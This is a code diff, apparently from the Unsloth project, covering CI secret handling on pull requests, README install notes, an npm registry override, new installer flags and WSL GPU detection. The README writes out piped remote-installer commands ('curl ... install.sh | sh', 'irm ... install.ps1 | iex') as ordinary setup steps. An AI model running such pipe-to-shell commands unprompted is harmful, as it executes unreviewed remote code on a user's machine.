@ -155,7 +156,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 redirects ALL PowerShell streams (stdout, stderr,

9
.github/workflows/studio-windows-update-smoke.yml vendored
View file

@ -133,7 +133,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 captures Write-Host (Information stream) output;
@ -180,7 +181,8 @@ jobs:
- name: First update should be a no-op (prebuilt already validated)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update.log
@ -199,7 +201,8 @@ jobs:
- name: Second update must also be a no-op
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update2.log

2
.github/workflows/version-compat-ci.yml vendored
View file

@ -242,7 +242,7 @@ jobs:
run: |
python -m pip install --upgrade pip
# CPU torch (vllm/peft/st all depend on it).
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
# torchcodec is a hard requirement on transformers 5.x:
# transformers/audio_utils.py:55 does

2
.gitignore vendored
View file

@ -11,6 +11,8 @@ outputs/
exports/
/datasets/
studio/backend/assets/datasets/
# Generated async worker / reviewer transcripts (never part of the product).
studio/backend/async_task_outputs/
unsloth_training_checkpoints/
*.gguf
*.safetensors

2
.pre-commit-config.yaml
View file

@ -1,6 +1,6 @@
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.15.17
rev: v0.15.18
hooks:
- id: ruff
args:

16
README.md
View file

@ -86,7 +86,7 @@ unsloth studio -p 8888
```
For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
For a secure HTTPS link instead of a raw network port, use `unsloth studio --secure`. Studio stays bound to localhost and is served only through a free Cloudflare HTTPS tunnel (it fails closed if the tunnel can't start, so the raw port is never exposed).
To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
#### Docker
Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
@ -246,6 +246,20 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
$env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
```
On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
```bash
curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
```
Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
```bash
UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local
```
```powershell
$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
```
It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
#### Uninstall

15
build.sh
View file

@ -35,10 +35,19 @@ _restore_gitignores() {
}
trap _restore_gitignores EXIT
# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we
# thread it as `--registry <url>` into the installs (overrides frontend/.npmrc's pinned
# registry for both bun and npm; min-release-age / save-exact stay in force). Empty
# array (the default) expands to nothing under `set -u`.
_NPM_REGISTRY_ARGS=()
if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
_NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
fi
# Use bun for install if available (faster), fall back to npm.
_install_ok=false
if command -v bun &>/dev/null; then
if bun install; then
if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
_install_ok=true
else
echo "⚠ bun install failed, falling back to npm"
@ -46,8 +55,10 @@ if command -v bun &>/dev/null; then
fi
fi
if [ "$_install_ok" != "true" ]; then
if ! npm install; then
if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
echo "❌ ERROR: package install failed" >&2
echo " If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2
echo " UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2
exit 1
fi
fi

29
install.ps1
View file

@ -99,6 +99,7 @@ function Install-UnslothStudio {
$TauriMode = $false
$SkipTorch = $false
$ShortcutsOnly = $false
$WithLlamaCppDir = ""
$argList = $args
for ($i = 0; $i -lt $argList.Count; $i++) {
switch ($argList[$i]) {
@ -116,6 +117,14 @@ function Install-UnslothStudio {
}
$PackageName = $argList[$i]
}
"--with-llama-cpp-dir" {
$i++
if ($i -ge $argList.Count) {
Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
}
$WithLlamaCppDir = $argList[$i]
}
}
}
@ -2146,7 +2155,7 @@ exit 0
if ($SkipTorch) {
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
if ($baseInstallExit -eq 0) {
# Resolve pydantic WITH deps so pip pins pydantic-core
# to the matching version (no-torch-runtime.txt below
@ -2160,7 +2169,7 @@ exit 0
}
}
} else {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
}
if ($baseInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@ -2226,7 +2235,7 @@ exit 0
if ($SkipTorch) {
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
if ($baseInstallExit -eq 0) {
# Same pydantic-with-deps trick as the migrated branch.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@ -2238,7 +2247,7 @@ exit 0
}
}
} elseif ($StudioLocalInstall) {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
} else {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
}
@ -2266,7 +2275,7 @@ exit 0
Write-TauriLog "STEP" "Installing unsloth"
substep "installing unsloth (this may take a few minutes)..."
if ($StudioLocalInstall) {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
if ($baseInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
@ -2430,6 +2439,13 @@ exit 0
}
$studioArgs = @('studio', 'setup')
if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
if ($WithLlamaCppDir) {
if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
}
$env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
}
$env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
# Hand the venv interpreter to setup.ps1 so it reuses the Python we already
# resolved and built the venv with, instead of re-probing the system (which
@ -2445,6 +2461,7 @@ exit 0
} else {
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
}
Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
}
@ -2595,6 +2612,7 @@ exit 0
step "launch" "to start later, run:"
substep "unsloth studio -p 8888"
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
Write-Host ""
}
} else {
@ -2615,6 +2633,7 @@ exit 0
substep "unsloth studio -p 8888"
}
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
Write-Host ""
}
}

306
install.sh
View file

@ -53,6 +53,11 @@ _VERBOSE=false
_SHORTCUTS_ONLY=false
_next_is_package=false
_next_is_python=false
_next_is_llama_cpp_dir=false
# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
# (the documented piped-install style) is honored; the --with-llama-cpp-dir
# flag below overrides it when given.
_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
for arg in "$@"; do
if [ "$_next_is_package" = true ]; then
PACKAGE_NAME="$arg"
@ -64,6 +69,11 @@ for arg in "$@"; do
_next_is_python=false
continue
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
_WITH_LLAMA_CPP_DIR="$arg"
_next_is_llama_cpp_dir=false
continue
fi
case "$arg" in
--local) STUDIO_LOCAL_INSTALL=true ;;
--package) _next_is_package=true ;;
@ -72,6 +82,7 @@ for arg in "$@"; do
--no-torch) _NO_TORCH_FLAG=true ;;
--verbose|-v) _VERBOSE=true ;;
--shortcuts-only) _SHORTCUTS_ONLY=true ;;
--with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
esac
done
@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then
echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
exit 1
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
exit 1
fi
# Validate --package to prevent injection into shell/Python commands.
# Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@ -447,8 +462,12 @@ _on_install_exit() {
if [ "$_status" -ne 0 ]; then
_restore_studio_venv_replacement
fi
[ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
exit "$_status"
}
# Empty so an inherited value can never reach the trap's rm; only a temp dir
# this script creates below (Apple Silicon, spaced path) is ever removed.
_UV_OVERRIDE_TMPDIR=""
trap _on_install_exit EXIT
# ── Helper: download a URL to a file (supports curl and wget) ──
@ -1423,10 +1442,35 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
SKIP_TORCH=true
fi
# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
_MLX_LM_EXCLUDE_ARG=""
# Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
_MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
_OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
if [ -f "$_OVERRIDES_FILE" ]; then
# uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
# truncates it and aborts every later uv call (issue #6503). Hand uv a copy.
case "$_OVERRIDES_FILE" in
*[[:space:]]*)
_UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR=""
case "$_UV_OVERRIDE_TMPDIR" in
"") ;;
*[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;;
*)
if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then
_OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt"
else
rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
_UV_OVERRIDE_TMPDIR=""
fi
;;
esac
;;
esac
export UV_OVERRIDE="$_OVERRIDES_FILE"
fi
fi
@ -1439,6 +1483,81 @@ elif [ "$OS" = "macos" ]; then
fi
tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
_WSL_AMD_GPU_NAME_CACHE=""
_wsl_amd_gpu_name() {
if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
[ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
fi
command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
_wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
if command -v timeout >/dev/null 2>&1; then
_wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
else
_wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
fi
if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
_WSL_AMD_GPU_NAME_CACHE="-"; return 1
}
# ── Bounded command runner ──
# Runs a command under a 10s timeout when the `timeout` binary is available,
# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
# driver init or after a reset) from hanging the installer: a timed-out probe
# exits nonzero and is treated exactly like a failed probe. No-op semantics on
# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
_run_bounded() {
if command -v timeout >/dev/null 2>&1; then
timeout 10 "$@"
else
"$@"
fi
}
# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
# var, so the probes below cannot see the distinction on their own.
_cvd_hides_nvidia() {
[ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
_cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
[ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
}
# ── NVIDIA usable-GPU helper ──
# Returns 0 (true) if an NVIDIA GPU is present and usable.
# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
# -- handles PATH gaps, subprocess timeouts, and driver init races that
# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
_has_usable_nvidia_gpu() {
if _cvd_hides_nvidia; then
return 1
fi
_nvsmi=""
if command -v nvidia-smi >/dev/null 2>&1; then
_nvsmi="nvidia-smi"
elif [ -x "/usr/bin/nvidia-smi" ]; then
_nvsmi="/usr/bin/nvidia-smi"
fi
if [ -n "$_nvsmi" ]; then
if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
return 0
fi
fi
# Fallback: NVIDIA driver exposes one subdir per GPU under this path.
if [ -d /proc/driver/nvidia/gpus ] && \
[ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
return 0
fi
return 1
}
# Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
# with a 24.04 distro present, re-run the install there and stop; else fall through
# to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
@ -1449,7 +1568,15 @@ _maybe_reroute_strixhalo_to_2404() {
[ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
[ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
[ -e /dev/dxg ] || return 0
grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
# A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
# this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
# CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
if _has_usable_nvidia_gpu; then return 0; fi
# Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
&& ! _wsl_amd_gpu_name >/dev/null 2>&1; then
return 0
fi
# Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
return 0
@ -1534,17 +1661,15 @@ _maybe_reroute_strixhalo_to_2404() {
_maybe_reroute_strixhalo_to_2404 || true
# ── Check system dependencies ──
# cmake and git are needed by unsloth studio setup to build the GGUF inference
# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux.
# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a
# prebuilt by default, and setup.sh self-skips the source build when they're
# absent -- so macOS doesn't block on cmake (requiring it would force a manual
# Homebrew install). Linux keeps requiring them; its package manager has them.
tauri_log "STEP" "Checking system dependencies"
MISSING=""
command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
command -v git >/dev/null 2>&1 || MISSING="$MISSING git"
case "$OS" in
macos)
# Xcode Command Line Tools provide the C/C++ compiler
# Xcode Command Line Tools provide the C/C++ compiler and git.
if ! xcode-select -p >/dev/null 2>&1; then
echo ""
echo "==> Xcode Command Line Tools are required."
@ -1553,8 +1678,19 @@ case "$OS" in
echo " After the installation completes, please re-run this script."
exit 1
fi
# cmake is only needed for a source build; the default prebuilt path
# doesn't use it, so its absence is not fatal -- no Homebrew prerequisite.
if command -v cmake >/dev/null 2>&1; then
step "deps" "all system dependencies found"
else
step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN"
substep "Install cmake only if you want a source build: brew install cmake"
fi
;;
linux|wsl)
MISSING=""
command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
command -v git >/dev/null 2>&1 || MISSING="$MISSING git"
# curl or wget is needed for downloads; check both
if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then
MISSING="$MISSING curl"
@ -1562,27 +1698,12 @@ case "$OS" in
command -v gcc >/dev/null 2>&1 || MISSING="$MISSING build-essential"
# libcurl dev headers for llama.cpp HTTPS support
command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev"
;;
esac
MISSING=$(echo "$MISSING" | sed 's/^ *//')
if [ -n "$MISSING" ]; then
echo ""
step "deps" "missing: $MISSING" "$C_WARN"
substep "These are needed to build the GGUF inference engine."
case "$OS" in
macos)
if ! command -v brew >/dev/null 2>&1; then
echo ""
echo " Homebrew is required to install them."
echo " Install Homebrew from https://brew.sh then re-run this script."
exit 1
fi
brew install $MISSING </dev/null
;;
linux|wsl)
MISSING=$(echo "$MISSING" | sed 's/^ *//')
if [ -n "$MISSING" ]; then
echo ""
step "deps" "missing: $MISSING" "$C_WARN"
substep "These are needed to build the GGUF inference engine."
if command -v apt-get >/dev/null 2>&1; then
_smart_apt_install $MISSING
else
@ -1597,12 +1718,12 @@ if [ -n "$MISSING" ]; then
echo " openSUSE: sudo zypper install cmake git gcc gcc-c++ make libcurl-devel"
exit 1
fi
;;
esac
echo ""
else
step "deps" "all system dependencies found"
fi
echo ""
else
step "deps" "all system dependencies found"
fi
;;
esac
# ── Install uv ──
tauri_log "STEP" "Installing uv package manager"
@ -1619,6 +1740,21 @@ export UV_HTTP_RETRIES
: "${UV_HTTP_TIMEOUT:=180}"
export UV_HTTP_TIMEOUT
# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls.
# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which
# present their own CA certificate. rustls (uv's default) ignores the Keychain
# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer".
# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the
# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already
# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto
# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0.
if [ "$OS" = "macos" ]; then
: "${UV_SYSTEM_CERTS:=1}"
: "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}"
fi
[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS
[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS
version_ge() {
# returns 0 if $1 >= $2
_a=$1
@ -1906,61 +2042,6 @@ _has_amd_rocm_gpu() {
return 1
}
# ── Bounded command runner ──
# Runs a command under a 10s timeout when the `timeout` binary is available,
# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
# driver init or after a reset) from hanging the installer: a timed-out probe
# exits nonzero and is treated exactly like a failed probe. No-op semantics on
# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
_run_bounded() {
if command -v timeout >/dev/null 2>&1; then
timeout 10 "$@"
else
"$@"
fi
}
# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
# var, so the probes below cannot see the distinction on their own.
_cvd_hides_nvidia() {
[ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
_cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
[ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
}
# ── NVIDIA usable-GPU helper ──
# Returns 0 (true) if an NVIDIA GPU is present and usable.
# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
# -- handles PATH gaps, subprocess timeouts, and driver init races that
# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
_has_usable_nvidia_gpu() {
if _cvd_hides_nvidia; then
return 1
fi
_nvsmi=""
if command -v nvidia-smi >/dev/null 2>&1; then
_nvsmi="nvidia-smi"
elif [ -x "/usr/bin/nvidia-smi" ]; then
_nvsmi="/usr/bin/nvidia-smi"
fi
if [ -n "$_nvsmi" ]; then
if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
return 0
fi
fi
# Fallback: NVIDIA driver exposes one subdir per GPU under this path.
if [ -d /proc/driver/nvidia/gpus ] && \
[ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
return 0
fi
return 1
}
# ── Detect GPU and choose PyTorch index URL ──
# Mirrors Get-TorchIndexUrl in install.ps1.
# On CPU-only machines this returns the cpu index, avoiding the solver
@ -2274,19 +2355,19 @@ _persist_rocm_wsl_dropin() {
fi
}
# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
_maybe_bootstrap_rocm_wsl() {
[ "${OS:-}" = "wsl" ] || return 0
[ "${SKIP_TORCH:-false}" = "false" ] || return 0
[ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
# Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
if _has_usable_nvidia_gpu; then return 0; fi
# "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
# generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
# would skip this bootstrap while the real GPU is still unusable. awk consumes
# all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
# Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
# the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
# rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
_ensure_rocm_probe_env
if command -v rocminfo >/dev/null 2>&1 && \
rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
# rocminfo may work only via the transient env _ensure_rocm_probe_env
# just set, which dies with the installer. Persist the drop-in so login
# shells (Studio, llama.cpp) inherit it -- else a reinstall over an
@ -2296,9 +2377,12 @@ _maybe_bootstrap_rocm_wsl() {
fi
# WSL GPU passthrough device must exist (present on any WSL2 GPU host).
[ -e /dev/dxg ] || return 0
# Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
# the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
# Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
# ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
&& ! _wsl_amd_gpu_name >/dev/null 2>&1; then
return 0
fi
command -v bash >/dev/null 2>&1 || return 0
# Fast path: already configured (librocdxg present) but launched from a
@ -2316,7 +2400,8 @@ _maybe_bootstrap_rocm_wsl() {
fi
echo ""
substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
_rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
